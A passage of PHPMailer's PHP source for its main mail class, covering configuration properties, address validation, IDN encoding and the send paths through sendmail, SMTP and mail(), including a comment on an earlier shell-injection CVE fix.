     * Debug output level.
     * Options:
     * * `0` No output
     * * `1` Commands
     * * `2` Data and commands
     * * `3` As 2 plus connection status
     * * `4` Low-level data output
     * @var integer
     * @see SMTP::$do_debug
     */
    public $SMTPDebug = 0;

    /**
     * How to handle debug output.
     * Options:
     * * `echo` Output plain-text as-is, appropriate for CLI
     * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
     * * `error_log` Output to error log as configured in php.ini
     *
     * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
     * <code>
     * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
     * </code>
     * @var string|callable
     * @see SMTP::$Debugoutput
     */
    public $Debugoutput = 'echo';

    /**
     * Whether to keep SMTP connection open after each message.
     * If this is set to true then to close the connection
     * requires an explicit call to smtpClose().
     * @var boolean
     */
    public $SMTPKeepAlive = false;

    /**
     * Whether to split multiple to addresses into multiple messages
     * or send them all in one message.
     * Only supported in `mail` and `sendmail` transports, not in SMTP.
     * @var boolean
     */
    public $SingleTo = false;

    /**
     * Storage for addresses when SingleTo is enabled.
     * @var array
     * @TODO This should really not be public
     */
    public $SingleToArray = array();

    /**
     * Whether to generate VERP addresses on send.
     * Only applicable when sending via SMTP.
     * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
     * @link http://www.postfix.org/VERP_README.html Postfix VERP info
     * @var boolean
     */
    public $do_verp = false;

    /**
     * Whether to allow sending messages with an empty body.
     * @var boolean
     */
    public $AllowEmpty = false;

    /**
     * The default line ending.
     * @note The default remains "\n". We force CRLF where we know
     *        it must be used via self::CRLF.
     * @var string
     */
    public $LE = "\n";

    /**
     * DKIM selector.
     * @var string
     */
    public $DKIM_selector = '';

    /**
     * DKIM Identity.
     * Usually the email address used as the source of the email.
     * @var string
     */
    public $DKIM_identity = '';

    /**
     * DKIM passphrase.
     * Used if your key is encrypted.
     * @var string
     */
    public $DKIM_passphrase = '';

    /**
     * DKIM signing domain name.
     * @example 'example.com'
     * @var string
     */
    public $DKIM_domain = '';

    /**
     * DKIM private key file path.
     * @var string
     */
    public $DKIM_private = '';

    /**
     * DKIM private key string.
     * If set, takes precedence over `$DKIM_private`.
     * @var string
     */
    public $DKIM_private_string = '';

    /**
     * Callback Action function name.
     *
     * The function that handles the result of the send email action.
     * It is called out by send() for each email sent.
     *
     * Value can be any php callable: http://www.php.net/is_callable
     *
     * Parameters:
     *   boolean $result        result of the send action
     *   array   $to            email addresses of the recipients
     *   array   $cc            cc email addresses
     *   array   $bcc           bcc email addresses
     *   string  $subject       the subject
     *   string  $body          the email body
     *   string  $from          email address of sender
     * @var string
     */
    public $action_function = '';

    /**
     * What to put in the X-Mailer header.
     * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
     * @var string
     */
    public $XMailer = ' ';

    /**
     * Which validator to use by default when validating email addresses.
     * May be a callable to inject your own validator, but there are several built-in validators.
     * @see PHPMailer::validateAddress()
     * @var string|callable
     * @static
     */
    public static $validator = 'auto';

    /**
     * An instance of the SMTP sender class.
     * @var SMTP
     * @access protected
     */
    protected $smtp = null;

    /**
     * The array of 'to' names and addresses.
     * @var array
     * @access protected
     */
    protected $to = array();

    /**
     * The array of 'cc' names and addresses.
     * @var array
     * @access protected
     */
    protected $cc = array();

    /**
     * The array of 'bcc' names and addresses.
     * @var array
     * @access protected
     */
    protected $bcc = array();

    /**
     * The array of reply-to names and addresses.
     * @var array
     * @access protected
     */
    protected $ReplyTo = array();

    /**
     * An array of all kinds of addresses.
     * Includes all of $to, $cc, $bcc
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     */
    protected $all_recipients = array();

    /**
     * An array of names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $all_recipients
     * and one of $to, $cc, or $bcc.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     * @see PHPMailer::$all_recipients
     */
    protected $RecipientsQueue = array();

    /**
     * An array of reply-to names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $ReplyTo.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$ReplyTo
     */
    protected $ReplyToQueue = array();

    /**
     * The array of attachments.
     * @var array
     * @access protected
     */
    protected $attachment = array();

    /**
     * The array of custom headers.
     * @var array
     * @access protected
     */
    protected $CustomHeader = array();

    /**
     * The most recent Message-ID (including angular brackets).
     * @var string
     * @access protected
     */
    protected $lastMessageID = '';

    /**
     * The message's MIME type.
     * @var string
     * @access protected
     */
    protected $message_type = '';

    /**
     * The array of MIME boundary strings.
     * @var array
     * @access protected
     */
    protected $boundary = array();

    /**
     * The array of available languages.
     * @var array
     * @access protected
     */
    protected $language = array();

    /**
     * The number of errors encountered.
     * @var integer
     * @access protected
     */
    protected $error_count = 0;

    /**
     * The S/MIME certificate file path.
     * @var string
     * @access protected
     */
    protected $sign_cert_file = '';

    /**
     * The S/MIME key file path.
     * @var string
     * @access protected
     */
    protected $sign_key_file = '';

    /**
     * The optional S/MIME extra certificates ("CA Chain") file path.
     * @var string
     * @access protected
     */
    protected $sign_extracerts_file = '';

    /**
     * The S/MIME password for the key.
     * Used only if the key is encrypted.
     * @var string
     * @access protected
     */
    protected $sign_key_pass = '';

    /**
     * Whether to throw exceptions for errors.
     * @var boolean
     * @access protected
     */
    protected $exceptions = false;

    /**
     * Unique ID used for message ID and boundaries.
     * @var string
     * @access protected
     */
    protected $uniqueid = '';

    /**
     * Error severity: message only, continue processing.
     */
    const STOP_MESSAGE = 0;

    /**
     * Error severity: message, likely ok to continue processing.
     */
    const STOP_CONTINUE = 1;

    /**
     * Error severity: message, plus full stop, critical error reached.
     */
    const STOP_CRITICAL = 2;

    /**
     * SMTP RFC standard line ending.
     */
    const CRLF = "\r\n";

    /**
     * The maximum line length allowed by RFC 2822 section 2.1.1
     * @var integer
     */
    const MAX_LINE_LENGTH = 998;

    /**
     * Constructor.
     * @param boolean $exceptions Should we throw external exceptions?
     */
    public function __construct($exceptions = null)
    {
        if ($exceptions !== null) {
            $this->exceptions = (boolean)$exceptions;
        }
        //Pick an appropriate debug output format automatically
        $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');
    }

    /**
     * Destructor.
     */
    public function __destruct()
    {
        //Close any open SMTP connection nicely
        $this->smtpClose();
    }

    /**
     * Call mail() in a safe_mode-aware fashion.
     * Also, unless sendmail_path points to sendmail (or something that
     * claims to be sendmail), don't pass params (not a perfect fix,
     * but it will do)
     * @param string $to To
     * @param string $subject Subject
     * @param string $body Message Body
     * @param string $header Additional Header(s)
     * @param string $params Params
     * @access private
     * @return boolean
     */
    private function mailPassthru($to, $subject, $body, $header, $params)
    {
        //Check overloading of mail function to avoid double-encoding
        if (ini_get('mbstring.func_overload') & 1) {
            $subject = $this->secureHeader($subject);
        } else {
            $subject = $this->encodeHeader($this->secureHeader($subject));
        }

        //Can't use additional_parameters in safe_mode, calling mail() with null params breaks
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }
        return $result;
    }
    /**
     * Output debugging info via user-defined method.
     * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
     * @see PHPMailer::$Debugoutput
     * @see PHPMailer::$SMTPDebug
     * @param string $str
     */
    protected function edebug($str)
    {
        if ($this->SMTPDebug <= 0) {
            return;
        }
        //Avoid clash with built-in function names
        if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
            call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
            return;
        }
        switch ($this->Debugoutput) {
            case 'error_log':
                //Don't output, just log
                error_log($str);
                break;
            case 'html':
                //Cleans up output a bit for a better looking, HTML-safe output
                echo htmlentities(
                    preg_replace('/[\r\n]+/', '', $str),
                    ENT_QUOTES,
                    'UTF-8'
                )
                . "<br>\n";
                break;
            case 'echo':
            default:
                //Normalize line breaks
                $str = preg_replace('/\r\n?/ms', "\n", $str);
                echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
                    "\n",
                    "\n                   \t                  ",
                    trim($str)
                ) . "\n";
        }
    }

    /**
     * Send messages using SMTP.
     * @return void
     */
    public function isSMTP()
    {
        $this->Mailer = 'smtp';
    }

    /**
     * Send messages using PHP's mail() function.
     * @return void
     */
    public function isMail()
    {
        $this->Mailer = 'mail';
    }

    /**
     * Send messages using $Sendmail.
     * @return void
     */
    public function isSendmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'sendmail')) {
            $this->Sendmail = '/usr/sbin/sendmail';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'sendmail';
    }

    /**
     * Send messages using qmail.
     * @return void
     */
    public function isQmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'qmail')) {
            $this->Sendmail = '/var/qmail/bin/qmail-inject';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'qmail';
    }

    /**
     * Add a "To" address.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addAddress($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('to', $address, $name);
    }

    /**
     * Add a "CC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('cc', $address, $name);
    }

    /**
     * Add a "BCC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addBCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('bcc', $address, $name);
    }

    /**
     * Add a "Reply-To" address.
     * @param string $address The email address to reply to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addReplyTo($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
     * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
     * be modified after calling this function), addition of such addresses is delayed until send().
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addOrEnqueueAnAddress($kind, $address, $name)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        if (($pos = strrpos($address, '@')) === false) {
            // At-sign is misssing.
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $params = array($kind, $address, $name);
        // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
        if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
            if ($kind != 'Reply-To') {
                if (!array_key_exists($address, $this->RecipientsQueue)) {
                    $this->RecipientsQueue[$address] = $params;
                    return true;
                }
            } else {
                if (!array_key_exists($address, $this->ReplyToQueue)) {
                    $this->ReplyToQueue[$address] = $params;
                    return true;
                }
            }
            return false;
        }
        // Immediately add standard addresses without IDN.
        return call_user_func_array(array($this, 'addAnAddress'), $params);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array.
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addAnAddress($kind, $address, $name = '')
    {
        if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
            $error_message = $this->lang('Invalid recipient kind: ') . $kind;
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if (!$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if ($kind != 'Reply-To') {
            if (!array_key_exists(strtolower($address), $this->all_recipients)) {
                array_push($this->$kind, array($address, $name));
                $this->all_recipients[strtolower($address)] = true;
                return true;
            }
        } else {
            if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
                $this->ReplyTo[strtolower($address)] = array($address, $name);
                return true;
            }
        }
        return false;
    }

    /**
     * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
     * of the form "display name <address>" into an array of name/address pairs.
     * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
     * Note that quotes in the name part are removed.
     * @param string $addrstr The address list string
     * @param bool $useimap Whether to use the IMAP extension to parse the list
     * @return array
     * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
     */
    public function parseAddresses($addrstr, $useimap = true)
    {
        $addresses = array();
        if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
            //Use this built-in parser if it's available
            $list = imap_rfc822_parse_adrlist($addrstr, '');
            foreach ($list as $address) {
                if ($address->host != '.SYNTAX-ERROR.') {
                    if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
                        $addresses[] = array(
                            'name' => (property_exists($address, 'personal') ? $address->personal : ''),
                            'address' => $address->mailbox . '@' . $address->host
                        );
                    }
                }
            }
        } else {
            //Use this simpler parser
            $list = explode(',', $addrstr);
            foreach ($list as $address) {
                $address = trim($address);
                //Is there a separate name part?
                if (strpos($address, '<') === false) {
                    //No separate name, just use the whole thing
                    if ($this->validateAddress($address)) {
                        $addresses[] = array(
                            'name' => '',
                            'address' => $address
                        );
                    }
                } else {
                    list($name, $email) = explode('<', $address);
                    $email = trim(str_replace('>', '', $email));
                    if ($this->validateAddress($email)) {
                        $addresses[] = array(
                            'name' => trim(str_replace(array('"', "'"), '', $name)),
                            'address' => $email
                        );
                    }
                }
            }
        }
        return $addresses;
    }

    /**
     * Sets message type to HTML or plain.
     * @param boolean $isHtml True for HTML mode.
     * @return void
     */
    public function isHTML($isHtml = true)
    {
        if ($isHtml) {
            $this->ContentType = 'text/html';
        } 
        else {
            $this->ContentType = 'text/plain';
        }

    }

    /**
     * Set the From and FromName properties.
     * @param string $address
     * @param string $name
     * @param boolean $auto Whether to also set the Sender address, defaults to true
     * @throws phpmailerException
     * @return boolean
     */
    public function setFrom($address, $name = '', $auto = true)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        // Don't validate now addresses with IDN. Will be done in send().
        if (($pos = strrpos($address, '@')) === false or
            (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
            !$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (setFrom) $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $this->From = $address;
        $this->FromName = $name;
        if ($auto) {
            if (empty($this->Sender)) {
                $this->Sender = $address;
            }
        }
        return true;
    }

    /**
     * Return the Message-ID header of the last email.
     * Technically this is the value from the last time the headers were created,
     * but it's also the message ID of the last sent message except in
     * pathological cases.
     * @return string
     */
    public function getLastMessageID()
    {
        return $this->lastMessageID;
    }

    /**
     * Check that a string looks like an email address.
     * @param string $address The email address to check
     * @param string|callable $patternselect A selector for the validation pattern to use :
     * * `auto` Pick best pattern automatically;
     * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
     * * `pcre` Use old PCRE implementation;
     * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
     * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
     * * `noregex` Don't use a regex: super fast, really dumb.
     * Alternatively you may pass in a callable to inject your own validator, for example:
     * PHPMailer::validateAddress('user@example.com', function($address) {
     *     return (strpos($address, '@') !== false);
     * });
     * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
     * @return boolean
     * @static
     * @access public
     */
    public static function validateAddress($address, $patternselect = null)
    {
        if (is_null($patternselect)) {
            $patternselect = self::$validator;
        }
        if (is_callable($patternselect)) {
            return call_user_func($patternselect, $address);
        }
        //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
        if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
            return false;
        }
        if (!$patternselect or $patternselect == 'auto') {
            //Check this constant first so it works when extension_loaded() is disabled by safe mode
            //Constant was added in PHP 5.2.4
            if (defined('PCRE_VERSION')) {
                //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
                    $patternselect = 'pcre8';
                } else {
                    $patternselect = 'pcre';
                }
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
                //Fall back to older PCRE
                $patternselect = 'pcre';
            } else {
                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
                    $patternselect = 'php';
                } else {
                    $patternselect = 'noregex';
                }
            }
        }
        switch ($patternselect) {
            case 'pcre8':
                /**
                 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
                 * @link http://squiloople.com/2009/12/20/email-address-validation/
                 * @copyright 2009-2010 Michael Rushton
                 * Feel free to use and redistribute this code. But please keep this copyright notice.
                 */
                return (boolean)preg_match(
                    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
                    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
                    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
                    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
                    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
                    $address
                );
            case 'pcre':
                //An older regex that doesn't need a recent PCRE
                return (boolean)preg_match(
                    '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
                    '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
                    '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
                    '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
                    '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
                    '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
                    '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
                    '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
                    '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
                    $address
                );
            case 'html5':
                /**
                 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
                 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
                 */
                return (boolean)preg_match(
                    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
                    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
                    $address
                );
            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);
            case 'php':
            default:
                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
        }
    }

    /**
     * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
     * "intl" and "mbstring" PHP extensions.
     * @return bool "true" if required functions for IDN support are present
     */
    public function idnSupported()
    {
        // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
        return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
    }

    /**
     * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
     * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
     * This function silently returns unmodified address if:
     * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
     * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
     *   or fails for any reason (e.g. domain has characters not allowed in an IDN)
     * @see PHPMailer::$CharSet
     * @param string $address The email address to convert
     * @return string The encoded address in ASCII form
     */
    public function punyencodeAddress($address)
    {
        // Verify we have required functions, CharSet, and at-sign.
        if ($this->idnSupported() and
            !empty($this->CharSet) and
            ($pos = strrpos($address, '@')) !== false) {
            $domain = substr($address, ++$pos);
            // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
            if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
                $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
                if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
                    idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
                    idn_to_ascii($domain)) !== false) {
                    return substr($address, 0, $pos) . $punycode;
                }
            }
        }
        return $address;
    }

    /**
     * Create a message and send it.
     * Uses the sending method specified by $Mailer.
     * @throws phpmailerException
     * @return boolean false on error - See the ErrorInfo property for details of the error.
     */
    public function send()
    {
        try {
            if (!$this->preSend()) {
                return false;
            }
            return $this->postSend();
        } catch (phpmailerException $exc) {
            $this->mailHeader = '';
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Prepare a message for sending.
     * @throws phpmailerException
     * @return boolean
     */
    public function preSend()
    {
        try {
            $this->error_count = 0; // Reset errors
            $this->mailHeader = '';

            // Dequeue recipient and Reply-To addresses with IDN
            foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
                $params[1] = $this->punyencodeAddress($params[1]);
                call_user_func_array(array($this, 'addAnAddress'), $params);
            }
            if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
                throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
            }

            // Validate From, Sender, and ConfirmReadingTo addresses
            foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
                $this->$address_kind = trim($this->$address_kind);
                if (empty($this->$address_kind)) {
                    continue;
                }
                $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
                if (!$this->validateAddress($this->$address_kind)) {
                    $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;
                    $this->setError($error_message);
                    $this->edebug($error_message);
                    if ($this->exceptions) {
                        throw new phpmailerException($error_message);
                    }
                    return false;
                }
            }

            // Set whether the message is multipart/alternative
            if ($this->alternativeExists()) {
                $this->ContentType = 'multipart/alternative';
            }

            $this->setMessageType();
            // Refuse to send an empty message unless we are specifically allowing it
            if (!$this->AllowEmpty and empty($this->Body)) {
                throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
            }

            // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
            $this->MIMEHeader = '';
            $this->MIMEBody = $this->createBody();
            // createBody may have added some headers, so retain them
            $tempheaders = $this->MIMEHeader;
            $this->MIMEHeader = $this->createHeader();
            $this->MIMEHeader .= $tempheaders;

            // To capture the complete message when using mail(), create
            // an extra header list which createHeader() doesn't fold in
            if ($this->Mailer == 'mail') {
                if (count($this->to) > 0) {
                    $this->mailHeader .= $this->addrAppend('To', $this->to);
                } else {
                    $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
                }
                $this->mailHeader .= $this->headerLine(
                    'Subject',
                    $this->encodeHeader($this->secureHeader(trim($this->Subject)))
                );
            }

            // Sign with DKIM if enabled
            if (!empty($this->DKIM_domain)
                and !empty($this->DKIM_selector)
                and (!empty($this->DKIM_private_string)
                    or (!empty($this->DKIM_private)
                        and self::isPermittedPath($this->DKIM_private)
                        and file_exists($this->DKIM_private)
                    )
                )
            ) {
                $header_dkim = $this->DKIM_Add(
                    $this->MIMEHeader . $this->mailHeader,
                    $this->encodeHeader($this->secureHeader($this->Subject)),
                    $this->MIMEBody
                );
                $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
                    str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
            }
            return true;
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Actually send a message.
     * Send the email via the selected mechanism
     * @throws phpmailerException
     * @return boolean
     */
    public function postSend()
    {
        try {
            // Choose the mailer and send through it
            switch ($this->Mailer) {
                case 'sendmail':
                case 'qmail':
                    return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
                case 'smtp':
                    return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
                case 'mail':
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
                default:
                    $sendMethod = $this->Mailer.'Send';
                    if (method_exists($this, $sendMethod)) {
                        return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
                    }

                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
            }
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
        }
        return false;
    }

    /**
     * Send mail using the $Sendmail program.
     * @param string $header The message headers
     * @param string $body The message body
     * @see PHPMailer::$Sendmail
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function sendmailSend($header, $body)
    {
        // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
        if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s -f%s';
            } else {
                $sendmailFmt = '%s -oi -f%s -t';
            }
        } else {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s';
            } else {
                $sendmailFmt = '%s -oi -t';
            }
        }

        // TODO: If possible, this should be changed to escapeshellarg.  Needs thorough testing.
        $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);

        if ($this->SingleTo) {
            foreach ($this->SingleToArray as $toAddr) {
                if (!@$mail = popen($sendmail, 'w')) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
                fputs($mail, 'To: ' . $toAddr . "\n");
                fputs($mail, $header);
                fputs($mail, $body);
                $result = pclose($mail);
                $this->doCallback(
                    ($result == 0),
                    array($toAddr),
                    $this->cc,
                    $this->bcc,
                    $this->Subject,
                    $body,
                    $this->From
                );
                if ($result != 0) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
            }
        } else {
            if (!@$mail = popen($sendmail, 'w')) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
            fputs($mail, $header);
            fputs($mail, $body);
            $result = pclose($mail);
            $this->doCallback(
                ($result == 0),
                $this->to,
                $this->cc,
                $this->bcc,
                $this->Subject,
                $body,
                $this->From
            );
            if ($result != 0) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
        }
        return true;
    }

    /**
     * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.
     *
     * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.
